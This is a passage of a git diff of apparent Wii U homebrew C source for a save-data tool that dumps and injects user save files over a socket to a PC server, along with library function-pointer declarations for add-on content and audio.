char full_path[strlen(path) + 1 + strlen(dir_entry.name) +1];
|
||||
__os_snprintf(full_path, sizeof(full_path), "%s/%s",path,dir_entry.name);
|
||||
|
||||
if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){
|
||||
log_string(socket_log, "-> dir", BYTE_LOG_STR);
|
||||
|
||||
if(dump_dir(pClient, pCmd,full_path,pBuffer,size,error,my_handle) == -1){
|
||||
log_string(socket_log, "error", BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
}else{
|
||||
//DUMP
|
||||
ret = FSOpenFile(pClient, pCmd, full_path, "r", &my_handle, error);
|
||||
if (ret >= 0) {
|
||||
__os_snprintf(buffer, sizeof(buffer), "dumping %s",dir_entry.name);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
|
||||
int ret2;
|
||||
|
||||
int my_ret = cafiine_send_handle(socket_saviine, full_path, my_handle);
|
||||
if(my_ret != -1){
|
||||
while ((ret2 = FSReadFile(pClient, pCmd, pBuffer, 1, size, my_handle, 0, 0)) > 0)
|
||||
cafiine_send_file(socket_saviine, pBuffer, ret2, my_handle);
|
||||
cafiine_fclose(socket_saviine, &ret2, my_handle,1);
|
||||
}else{
|
||||
log_string(socket_log, "error on opening file on pc" , BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
if((ret2 = FSCloseFile(pClient, pCmd, my_handle, error)) < FS_STATUS_OK){
|
||||
__os_snprintf(buffer, sizeof(buffer), "error on FSOpenFile: %d",ret2);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
}
|
||||
}else{
|
||||
__os_snprintf(buffer, sizeof(buffer), "error on FSOpenFile: %d",ret);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(FSCloseDir(pClient, pCmd, dir_handle, error) < FS_STATUS_OK){
|
||||
if(DEBUG_LOG) log_string(socket_log, "error on FSCloseDir()", BYTE_LOG_STR);
|
||||
}
|
||||
}else{
|
||||
log_string(socket_log, "error on FSOpenDir()", BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
return final_result;
|
||||
}
|
||||
|
||||
/**************************
|
||||
Injection functions
|
||||
**************************/
|
||||
|
||||
void injectSaveData(void *pClient, void *pCmd,long persistentID,int error){
|
||||
char logbuffer[255];
|
||||
/*
|
||||
Allocate buffer for injection
|
||||
*/
|
||||
int buf_size = BUFFER_SIZE;
|
||||
char * pBuffer;
|
||||
int failed = 0;
|
||||
do{
|
||||
buf_size -= BUFFER_SIZE_STEPS;
|
||||
if(buf_size < 0){
|
||||
log_string(socket_log, "error on buffer allocation", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
pBuffer = (char *)memalign(0x40,buf_size);
|
||||
if(pBuffer) memset(pBuffer, 0x00, buf_size);
|
||||
}while(!pBuffer);
|
||||
|
||||
if(!failed){
|
||||
char buffer[60];
|
||||
__os_snprintf(buffer, sizeof(buffer), "allocated %d bytes",buf_size);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
int result = 0;
|
||||
int mask = 0;
|
||||
if((result = saviine_start_injection(socket_saviine, persistentID,&mask))){
|
||||
if((mask & MASK_USER) == MASK_USER){
|
||||
char savepath[20];
|
||||
__os_snprintf(savepath, sizeof(savepath), "/vol/save/%08x",persistentID);
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "injecting new userdata in %08x",persistentID);
|
||||
log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
log_string(socket_log, "deleting user save", BYTE_LOG_STR);
|
||||
if(remove_files_in_dir(pClient,pCmd,savepath,0) == -1){
|
||||
failed = 1;
|
||||
}else{
|
||||
/*
|
||||
Inject Save
|
||||
*/
|
||||
result = injectFiles(pClient,pCmd,savepath,"/",savepath,pBuffer,buf_size,error);
|
||||
doFlushOrRollback(pClient,pCmd,result,savepath);
|
||||
}
|
||||
}
|
||||
if((mask & MASK_COMMON) == MASK_COMMON && !failed){
|
||||
char * commonDir = "/vol/save/common";
|
||||
|
||||
if((mask & MASK_COMMON_CLEAN) == MASK_COMMON_CLEAN){
|
||||
log_string(socket_log, "deleting common save", BYTE_LOG_STR);
|
||||
if(remove_files_in_dir(pClient,pCmd,commonDir,0) == -1){
|
||||
failed = 1;
|
||||
}
|
||||
}
|
||||
if(!failed){
|
||||
/*
|
||||
Inject common
|
||||
*/
|
||||
result = injectFiles(pClient,pCmd,commonDir,"/",commonDir,pBuffer,buf_size,error);
|
||||
doFlushOrRollback(pClient,pCmd,result,commonDir);
|
||||
}
|
||||
}
|
||||
if(!saviine_end_injection(socket_saviine)) if(DEBUG_LOG) log_string(socket_log, "saviine_end_injection() failed", BYTE_LOG_STR);
|
||||
if(DEBUG_LOG)log_string(socket_log, "end of injection", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(socket_log, "saviine_start_injection() failed", BYTE_LOG_STR);
|
||||
}
|
||||
free(pBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
int injectFiles(void *pClient, void *pCmd, char * path,char * relativepath, char * basepath, char * pBuffer, int buffer_size, int error){
|
||||
int failed = 0;
|
||||
int filesinjected = 0;
|
||||
int type = 0;
|
||||
log_string(socket_log, "injecting files", BYTE_LOG_STR);
|
||||
char namebuffer[255];
|
||||
char logbuffer[255];
|
||||
int filesize = 0;
|
||||
|
||||
if(!failed){
|
||||
while(saviine_readdir(socket_saviine,path,namebuffer, &type,&filesize) && !failed){
|
||||
if(DEBUG_LOG)log_string(socket_log, "got a file", BYTE_LOG_STR);
|
||||
char newpath[strlen(path) + 1 + strlen(namebuffer) + 1];
|
||||
__os_snprintf(newpath, sizeof(newpath), "%s/%s",path,namebuffer);
|
||||
if(type == BYTE_FILE){
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "file: %s%s size: %d",relativepath,namebuffer,filesize);
|
||||
log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "newpath: %s ",newpath);
|
||||
log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
|
||||
if(DEBUG_LOG) log_string(socket_log, "downloading it", BYTE_LOG_STR);
|
||||
|
||||
int handle = 10;
|
||||
if(FSOpenFile(pClient, pCmd, newpath,"w+",&handle,error) >= FS_STATUS_OK){
|
||||
if(DEBUG_LOG) log_string(socket_log, "file opened and created", BYTE_LOG_STR);
|
||||
|
||||
if(filesize > 0){
|
||||
failed = doInjectForFile(pClient,pCmd,handle,newpath,filesize,basepath,pBuffer,buffer_size);
|
||||
if(failed == 2) // trying it again if the journal was full
|
||||
failed = doInjectForFile(pClient,pCmd,handle,newpath,filesize,basepath,pBuffer,buffer_size);
|
||||
}else{
|
||||
if(DEBUG_LOG) log_string(socket_log, "filesize is 0", BYTE_LOG_STR);
|
||||
}
|
||||
|
||||
if((FSCloseFile (pClient, pCmd, handle, error)) < FS_STATUS_OK){
|
||||
log_string(socket_log, "FSCloseFile failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
}else{
|
||||
log_string(socket_log, "opening the file failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
if(!failed) filesinjected++;
|
||||
}else if( type == BYTE_FOLDER){
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "dir: %s",namebuffer);
|
||||
log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
if(DEBUG_LOG) log_string(socket_log, newpath, BYTE_LOG_STR);
|
||||
int ret = 0;
|
||||
if((ret = FSMakeDir(pClient, pCmd, newpath, -1)) == FS_STATUS_OK || ret == FS_STATUS_EXISTS ){
|
||||
char op_offset[strlen(relativepath) + strlen(namebuffer)+ 1 + 1];
|
||||
__os_snprintf(op_offset, sizeof(op_offset), "%s%s/",relativepath,namebuffer);
|
||||
int injectedsub = injectFiles(pClient, pCmd, newpath,op_offset,basepath,pBuffer,buffer_size,error);
|
||||
if(injectedsub == -1){
|
||||
failed = 1;
|
||||
}else{
|
||||
filesinjected += injectedsub;
|
||||
}
|
||||
}else{
|
||||
log_string(socket_log, "folder creation failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(failed) return -1;
|
||||
else return filesinjected;
|
||||
}else{
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
int doInjectForFile(void * pClient, void * pCmd,int handle,char * filepath,int filesize, char * basepath,void * pBuffer,int buf_size){
|
||||
int failed = 0;
|
||||
int myhandle;
|
||||
int ret = 0;
|
||||
char logbuffer[255];
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "cafiine_fopen %s",filepath);
|
||||
if(DEBUG_LOG) log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
|
||||
if((cafiine_fopen(socket_saviine, &ret, filepath, "r", &myhandle)) == 0 && ret == FS_STATUS_OK){
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "cafiine_fopen with handle %d",myhandle);
|
||||
if(DEBUG_LOG) log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
int retsize = 0;
|
||||
int pos = 0;
|
||||
while(pos < filesize){
|
||||
if(DEBUG_LOG) log_string(socket_log, "reading", BYTE_LOG_STR);
|
||||
if(cafiine_fread(socket_saviine, &retsize, pBuffer, buf_size , myhandle) == FS_STATUS_OK){
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "got %d",retsize);
|
||||
if(DEBUG_LOG) log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
int fwrite = 0;
|
||||
if((fwrite = FSWriteFile(pClient, pCmd, pBuffer,sizeof(char),retsize,handle,0,0x0200)) >= FS_STATUS_OK){
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "wrote %d",retsize);
|
||||
if(DEBUG_LOG) log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
}else{
|
||||
if(fwrite == FS_STATUS_JOURNAL_FULL || fwrite == FS_STATUS_STORAGE_FULL){
|
||||
log_string(socket_log, "journal or storage is full, flushing it now.", BYTE_LOG_STR);
|
||||
if(FSFlushQuota(pClient,pCmd,basepath,FS_RET_ALL_ERROR) == FS_STATUS_OK){
|
||||
log_string(socket_log, "success", BYTE_LOG_STR);
|
||||
failed = 2;
|
||||
break;
|
||||
}else{
|
||||
log_string(socket_log, "failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "my_FSWriteFile failed with error: %d",fwrite);
|
||||
log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
//log_string(socket_log, "error while FSWriteFile", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "old p %d new p %d",pos,pos+retsize);
|
||||
if(DEBUG_LOG) log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
pos += retsize;
|
||||
}else{
|
||||
log_string(socket_log, "error while recieving file", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int result = 0;
|
||||
if((cafiine_fclose(socket_saviine, &result, myhandle,0)) == 0 && result == FS_STATUS_OK){
|
||||
if(DEBUG_LOG) log_string(socket_log, "cafiine_fclose success", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(socket_log, "cafiine_fclose failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
|
||||
|
||||
}else{
|
||||
log_string(socket_log, "cafiine_fopen failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
return failed;
|
||||
}
|
||||
|
||||
/*************************
|
||||
Util functions
|
||||
**************************/
|
||||
|
||||
/*flush if result != -1*/
|
||||
|
||||
void doFlushOrRollback(void *pClient, void *pCmd,int result,char *savepath){
|
||||
char logbuffer[50 + strlen(savepath)];
|
||||
if(result != -1){
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "injected %d files",result);
|
||||
log_string(socket_log, logbuffer, BYTE_LOG_STR);
|
||||
log_string(socket_log, "Flushing data now", BYTE_LOG_STR);
|
||||
if(FSFlushQuota(pClient,pCmd,savepath,FS_RET_ALL_ERROR) == FS_STATUS_OK){
|
||||
log_string(socket_log, "success", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(socket_log, "failed", BYTE_LOG_STR);
|
||||
}
|
||||
}else{
|
||||
log_string(socket_log, "injection failed, trying to restore the data", BYTE_LOG_STR);
|
||||
if(FSRollbackQuota(pClient,pCmd,savepath,FS_RET_ALL_ERROR) == FS_STATUS_OK){
|
||||
log_string(socket_log, "rollback done", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(socket_log, "rollback failed", BYTE_LOG_STR);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void init_Save(unsigned char slotNo){
|
||||
int (*SAVEInit)();
|
||||
int (*SAVEInitSaveDir)(unsigned char accountSlotNo);
|
||||
unsigned int save_handle;
|
||||
OSDynLoad_Acquire("nn_save.rpl", &save_handle);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEInit", (void **)&SAVEInit);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir", (void **)&SAVEInitSaveDir);
|
||||
SAVEInit();
|
||||
if(DEBUG_LOG) log_string(socket_log, "saveinit done", BYTE_LOG_STR);
|
||||
SAVEInitSaveDir(slotNo);
|
||||
if(DEBUG_LOG) log_string(socket_log, "SAVEInitSaveDir done", BYTE_LOG_STR);
|
||||
SAVEInitSaveDir(255U);
|
||||
if(DEBUG_LOG) log_string(socket_log, "SAVEInitSaveDir 2 done", BYTE_LOG_STR);
|
||||
}
|
||||
|
||||
long getPesistentID(unsigned char * slotno){
|
||||
unsigned int nn_act_handle;
|
||||
unsigned long (*GetPersistentIdEx)(unsigned char);
|
||||
int (*GetSlotNo)(void);
|
||||
void (*nn_Initialize)(void);
|
||||
void (*nn_Finalize)(void);
|
||||
OSDynLoad_Acquire("nn_act.rpl", &nn_act_handle);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "GetPersistentIdEx__Q2_2nn3actFUc", (void **)&GetPersistentIdEx);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "GetSlotNo__Q2_2nn3actFv", (void **)&GetSlotNo);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "Initialize__Q2_2nn3actFv", (void **)&nn_Initialize);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "Finalize__Q2_2nn3actFv", (void **)&nn_Finalize);
|
||||
|
||||
nn_Initialize(); // To be sure that it is really Initialized
|
||||
|
||||
*slotno = GetSlotNo();
|
||||
|
||||
long idlong = GetPersistentIdEx(*slotno);
|
||||
|
||||
nn_Finalize(); //must be called an equal number of times to nn_Initialize
|
||||
return idlong;
|
||||
}
|
||||
|
||||
int remove_files_in_dir(void * pClient,void * pCmd, char * path, int handle){
|
||||
int ret = 0;
|
||||
int my_handle = handle +1;
|
||||
char buffer[strlen(path) + 50];
|
||||
if ((ret = FSOpenDir(pClient, pCmd, path, &handle, FS_RET_ALL_ERROR)) == FS_STATUS_OK){
|
||||
__os_snprintf(buffer, sizeof(buffer), "remove files in dir %s",path);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
FSDirEntry dir_entry;
|
||||
while (FSReadDir(pClient, pCmd, handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK)
|
||||
{
|
||||
char full_path[strlen(path) + 1 + strlen(dir_entry.name) +1];
|
||||
__os_snprintf(full_path, sizeof(full_path), "%s/%s",path,dir_entry.name);
|
||||
if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){
|
||||
if(DEBUG_LOG) log_string(socket_log, "recursive deletion", BYTE_LOG_STR);
|
||||
if(remove_files_in_dir(pClient,pCmd,full_path,my_handle) == -1) return -1;
|
||||
|
||||
}
|
||||
char buffer[strlen(full_path) + 50];
|
||||
__os_snprintf(buffer, sizeof(buffer), "deleting %s",full_path);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
if((ret = FSRemove(pClient,pCmd,full_path,FS_RET_ALL_ERROR)) < FS_STATUS_OK){
|
||||
__os_snprintf(buffer, sizeof(buffer), "error: %d on removing %s",ret,full_path);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
||||
if((FSCloseDir(pClient, pCmd, handle, FS_RET_NO_ERROR)) < FS_STATUS_OK ){
|
||||
log_string(socket_log, "error while closing dir", BYTE_LOG_STR);
|
||||
return -1;
|
||||
}
|
||||
}else{
|
||||
__os_snprintf(buffer, sizeof(buffer), "error: %d on opening %s",ret,path);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void ResetDumper(void)
|
||||
{
|
||||
socket_saviine = -1;
|
||||
socket_log = -1;
|
||||
|
||||
// reset RPX table on every launch of system menu
|
||||
rpxRplTableInit();
|
||||
}
|
||||
|
||||
void SetServerIp(u32 ip)
|
||||
{
|
||||
serverIpAddress = ip;
|
||||
}
|
||||
|
||||
u32 GetServerIp(void)
|
||||
{
|
||||
return serverIpAddress;
|
||||
}
|
36
src/discdumper.h
Normal file
36
src/discdumper.h
Normal file
@ -0,0 +1,36 @@
|
||||
#ifndef _DISCDUMPER_H_
|
||||
#define _DISCDUMPER_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
unsigned char tag;
|
||||
unsigned int length;
|
||||
unsigned char data[0];
|
||||
} __attribute__((packed)) SendData;
|
||||
|
||||
|
||||
long getPesistentID(unsigned char * slotno);
|
||||
void handle_saves(void *pClient, void *pCmd,int error);
|
||||
void dumpSavaData(void *pClient, void *pCmd,long persistentID,int error);
|
||||
int dump_dir(void *pClient, void *pCmd, char *path, void * pBuffer, int size,int error, int handle);
|
||||
void injectSaveData(void *pClient, void *pCmd,long persistentID,int error);
|
||||
int injectFiles(void *pClient, void *pCmd, char * path,char * relativepath, char * basepath, char * pBuffer, int buffer_size, int error);
|
||||
int doInjectForFile(void * pClient, void * pCmd,int handle,char * filepath,int filesize, char * basepath,void * pBuffer,int buf_size);
|
||||
void doFlushOrRollback(void *pClient, void *pCmd,int result,char *savepath);
|
||||
void init_Save(unsigned char slotNo);
|
||||
long getPesistentID(unsigned char * slotno);
|
||||
int remove_files_in_dir(void * pClient,void * pCmd, char * path, int handle);
|
||||
void StartDumper(void);
|
||||
void ResetDumper(void);
|
||||
|
||||
void SetServerIp(u32 ip);
|
||||
u32 GetServerIp(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
49
src/dynamic_libs/aoc_functions.c
Normal file
49
src/dynamic_libs/aoc_functions.c
Normal file
@ -0,0 +1,49 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "os_functions.h"
|
||||
|
||||
EXPORT_DECL(s32, AOC_Initialize, void);
|
||||
EXPORT_DECL(s32, AOC_Finalize, void);
|
||||
EXPORT_DECL(u32, AOC_CalculateWorkBufferSize, u32 num_titles);
|
||||
EXPORT_DECL(s32, AOC_ListTitle, u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size);
|
||||
EXPORT_DECL(s32, AOC_OpenTitle, char* aoc_path, void * title, void * buffer, u32 buffer_size);
|
||||
EXPORT_DECL(s32, AOC_CloseTitle, void * title);
|
||||
|
||||
void InitAocFunctionPointers(void)
|
||||
{
|
||||
unsigned int aoc_handle = 0;
|
||||
OSDynLoad_Acquire("nn_aoc.rpl", &aoc_handle);
|
||||
|
||||
if(aoc_handle == 0)
|
||||
return;
|
||||
|
||||
//! assigning those is not mandatory and it does not always work to load them
|
||||
OSDynLoad_FindExport(aoc_handle, 0, "AOC_Initialize", &AOC_Initialize);
|
||||
OSDynLoad_FindExport(aoc_handle, 0, "AOC_Finalize", &AOC_Finalize);
|
||||
OSDynLoad_FindExport(aoc_handle, 0, "AOC_CalculateWorkBufferSize", &AOC_CalculateWorkBufferSize);
|
||||
OSDynLoad_FindExport(aoc_handle, 0, "AOC_ListTitle", &AOC_ListTitle);
|
||||
OSDynLoad_FindExport(aoc_handle, 0, "AOC_OpenTitle", &AOC_OpenTitle);
|
||||
OSDynLoad_FindExport(aoc_handle, 0, "AOC_CloseTitle", &AOC_CloseTitle);
|
||||
}
|
||||
|
46
src/dynamic_libs/aoc_functions.h
Normal file
46
src/dynamic_libs/aoc_functions.h
Normal file
@ -0,0 +1,46 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __AOC_FUNCTIONS_H_
|
||||
#define __AOC_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define AOC_TITLE_SIZE 104
|
||||
|
||||
void InitAocFunctionPointers(void);
|
||||
|
||||
extern s32 (* AOC_Initialize)(void);
|
||||
extern s32 (* AOC_Finalize)(void);
|
||||
extern u32 (* AOC_CalculateWorkBufferSize)(u32 num_titles);
|
||||
extern s32 (* AOC_ListTitle)(u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size);
|
||||
extern s32 (* AOC_OpenTitle)(char* aoc_path, void * title, void * buffer, u32 buffer_size);
|
||||
extern s32 (* AOC_CloseTitle)(void * title);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __SYS_FUNCTIONS_H_
|
74
src/dynamic_libs/ax_functions.c
Normal file
74
src/dynamic_libs/ax_functions.c
Normal file
@ -0,0 +1,74 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "os_functions.h"
|
||||
#include "ax_functions.h"
|
||||
|
||||
EXPORT_DECL(void, AXInitWithParams, u32 * params);
|
||||
EXPORT_DECL(void, AXQuit, void);
|
||||
EXPORT_DECL(u32, AXGetInputSamplesPerSec, void);
|
||||
EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void);
|
||||
EXPORT_DECL(s32, AXVoiceBegin, void *v);
|
||||
EXPORT_DECL(s32, AXVoiceEnd, void *v);
|
||||
EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type);
|
||||
EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf);
|
||||
EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type);
|
||||
EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol);
|
||||
EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix);
|
||||
EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state);
|
||||
EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src);
|
||||
EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio)
|
||||
EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg);
|
||||
EXPORT_DECL(void, AXFreeVoice, void *v);
|
||||
EXPORT_DECL(void, AXRegisterFrameCallback, void * callback);
|
||||
EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v);
|
||||
EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset);
|
||||
EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset);
|
||||
|
||||
void InitAXFunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
unsigned int sound_handle;
|
||||
OSDynLoad_Acquire("sndcore2.rpl", &sound_handle);
|
||||
|
||||
OS_FIND_EXPORT(sound_handle, AXInitWithParams);
|
||||
OS_FIND_EXPORT(sound_handle, AXQuit);
|
||||
OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec);
|
||||
OS_FIND_EXPORT(sound_handle, AXVoiceBegin);
|
||||
OS_FIND_EXPORT(sound_handle, AXVoiceEnd);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceType);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceVe);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceState);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio);
|
||||
OS_FIND_EXPORT(sound_handle, AXAcquireVoice);
|
||||
OS_FIND_EXPORT(sound_handle, AXFreeVoice);
|
||||
OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback);
|
||||
OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset);
|
||||
}
|
||||
|
59
src/dynamic_libs/ax_functions.h
Normal file
59
src/dynamic_libs/ax_functions.h
Normal file
@ -0,0 +1,59 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __AX_FUNCTIONS_H_
|
||||
#define __AX_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gctypes.h>
|
||||
|
||||
void InitAXFunctionPointers(void);
|
||||
|
||||
extern void (* AXInitWithParams)(u32 * params);
|
||||
extern void (* AXQuit)(void);
|
||||
extern u32 (* AXGetInputSamplesPerSec)(void);
|
||||
extern s32 (* AXVoiceBegin)(void *v);
|
||||
extern s32 (* AXVoiceEnd)(void *v);
|
||||
extern void (* AXSetVoiceType)(void *v, u16 type);
|
||||
extern void (* AXSetVoiceOffsets)(void *v, const void *buf);
|
||||
extern void (* AXSetVoiceSrcType)(void *v, u32 type);
|
||||
extern void (* AXSetVoiceVe)(void *v, const void *vol);
|
||||
extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix);
|
||||
extern void (* AXSetVoiceState)(void *v, u16 state);
|
||||
extern void (* AXSetVoiceSrc)(void *v, const void *src);
|
||||
extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio);
|
||||
